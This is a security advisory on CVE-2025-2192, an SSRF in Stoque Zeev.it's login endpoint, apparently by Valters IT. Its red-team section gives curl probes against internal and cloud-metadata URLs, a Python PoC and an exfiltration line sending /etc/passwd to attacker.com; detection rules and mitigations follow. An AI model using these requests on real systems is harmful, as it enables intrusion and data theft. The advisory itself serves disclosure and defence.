CVE-2025-2192

Executive Summary

CVE-2025-2192 is a server-side request forgery (SSRF) vulnerability in Stoque Zeev.it version 4.24. The flaw resides in the /Login?inpLostSession=1 endpoint, where the inpRedirectURL parameter is not properly validated. An unauthenticated remote attacker can manipulate this parameter to force the server to make arbitrary HTTP requests to internal or external resources. This can lead to internal network reconnaissance, access to cloud metadata endpoints, or further exploitation of internal services. The vendor was contacted but did not respond, leaving the product unpatched. A public proof-of-concept (PoC) is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (Zeev.it) from Stoque. No supply chain implications are present.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. Based on the SSRF nature and remote unauthenticated access, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): Low (L) – may leak internal service banners or metadata
• Integrity (I): None (N)
• Availability (A): None (N)

Estimated CVSS Score: 5.3 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but impact is limited to information disclosure and internal network probing. However, if combined with other internal vulnerabilities, it could escalate.

Deep Dive & Mechanics

The vulnerability is a classic SSRF in the login page of Zeev.it. The /Login?inpLostSession=1 endpoint accepts a inpRedirectURL parameter that is used to redirect the user after a lost session. The server does not validate the URL, allowing an attacker to specify arbitrary destinations. When the server processes the request, it makes an HTTP request to the attacker-controlled URL, potentially revealing internal services.

Attack Flow:

1. Attacker sends a GET request to https://target/Login?inpLostSession=1&inpRedirectURL=http://169.254.169.254/latest/meta-data/ (AWS metadata endpoint).
2. The server fetches the URL and returns the response (e.g., cloud instance metadata).
3. Attacker can also scan internal ports by using http://127.0.0.1:8080/ or similar.

Root Cause: Lack of input validation and URL whitelisting on the inpRedirectURL parameter.

Vulnerable vs. Patched Code

No patched version exists. The vulnerable code is in the login handler. A hypothetical fix would involve:

Vulnerable (pseudo-code):

def handle_login_lost_session(request):
    redirect_url = request.GET.get('inpRedirectURL')
    if redirect_url:
        response = requests.get(redirect_url)  # No validation
        return response.content

Patched (pseudo-code):

ALLOWED_DOMAINS = ['example.com', 'app.zeev.it']

def handle_login_lost_session(request):
    redirect_url = request.GET.get('inpRedirectURL')
    if redirect_url:
        parsed = urlparse(redirect_url)
        if parsed.hostname not in ALLOWED_DOMAINS:
            return error("Invalid redirect")
        response = requests.get(redirect_url)
        return response.content

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Zeev.it 4.24
• Network access to the target

Exploit Steps:

1. Identify the target login page: https://target/Login?inpLostSession=1
2. Craft a request to probe internal services:

   curl -v "https://target/Login?inpLostSession=1&inpRedirectURL=http://127.0.0.1:8080/admin"
   

3. For cloud metadata:

   curl -v "https://target/Login?inpLostSession=1&inpRedirectURL=http://169.254.169.254/latest/meta-data/"
   

4. Use a blind SSRF technique to exfiltrate data via an attacker-controlled server:

   curl "https://target/Login?inpLostSession=1&inpRedirectURL=http://attacker.com/$(cat /etc/passwd)"
   

PoC Script (Python):

import requests

target = "https://target/Login?inpLostSession=1"
payloads = [
    "http://127.0.0.1:8080",
    "http://169.254.169.254/latest/meta-data/",
    "http://internal.service:9200"
]

for payload in payloads:
    r = requests.get(target, params={"inpRedirectURL": payload})
    print(f"[*] Payload: {payload}")
    print(r.text[:500])

Blue Team

Detection:

• Monitor outbound HTTP requests from the Zeev.it server to unexpected destinations (especially private IPs, cloud metadata IPs).
• Look for inpRedirectURL parameter in logs with suspicious values.

Hunting Query (Splunk):

index=web sourcetype=access_combined uri_path="/Login" uri_query=*inpRedirectURL*
| rex field=uri_query "inpRedirectURL=(?<redirect_url>[^&]+)"
| search redirect_url=*169.254* OR redirect_url=*127.0.0.1* OR redirect_url=*10.* OR redirect_url=*172.* OR redirect_url=*192.168.*
| table _time, clientip, redirect_url

Mitigation:

• Implement a strict allowlist for redirect URLs.
• Use a reverse proxy to block requests to private IP ranges.
• Disable the lost session feature if not needed.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests from Zeev.it server to private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
  • Requests to cloud metadata IPs (169.254.169.254, 100.100.100.200 for Alibaba)
  • Requests to attacker-controlled domains in inpRedirectURL parameter
• Logs:
  • URI: /Login?inpLostSession=1&inpRedirectURL=<suspicious_url>
  • Repeated failed login attempts followed by SSRF probes
• File:
  • No file-based IOCs expected

Detection Engineering

YARA Rule

rule CVE_2025_2192_SSRF {
    meta:
        description = "Detects SSRF attempts via inpRedirectURL parameter in Zeev.it"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2192"
    strings:
        $param = "inpRedirectURL="
        $private_ip = /(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.)/
        $cloud_meta = "169.254.169.254"
    condition:
        $param and ($private_ip or $cloud_meta)
}

Sigma Rule

title: CVE-2025-2192 SSRF via inpRedirectURL
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SSRF attempts against Zeev.it login page
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "inpRedirectURL="
    private_ip:
        cs-uri-query|contains:
            - "127."
            - "10."
            - "172.16."
            - "172.17."
            - "172.18."
            - "172.19."
            - "172.20."
            - "172.21."
            - "172.22."
            - "172.23."
            - "172.24."
            - "172.25."
            - "172.26."
            - "172.27."
            - "172.28."
            - "172.29."
            - "172.30."
            - "172.31."
            - "192.168."
            - "169.254."
    condition: selection and private_ip
falsepositives:
    - Legitimate internal redirects (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2192 SSRF Attempt - Private IP in inpRedirectURL"; flow:to_server; content:"inpRedirectURL="; http_uri; pcre:"/inpRedirectURL=(http:\/\/)?(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.)/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Since no official patch is available, the following mitigations are recommended:

1. Disable the Lost Session Feature: If not critical, remove or disable the /Login?inpLostSession=1 endpoint.
2. Web Application Firewall (WAF) Rules: Block requests containing inpRedirectURL with private IPs or cloud metadata IPs.
3. Network Segmentation: Restrict outbound traffic from the Zeev.it server to only necessary destinations.
4. Reverse Proxy: Place a reverse proxy (e.g., Nginx) in front of Zeev.it to validate and sanitize the inpRedirectURL parameter.
5. Monitor Logs: Actively monitor for SSRF patterns as described in Detection Engineering.
6. Vendor Contact: Continue to pressure Stoque for a patch. Consider switching to an alternative product if possible.

Valters IT
Securing Digital Frontiers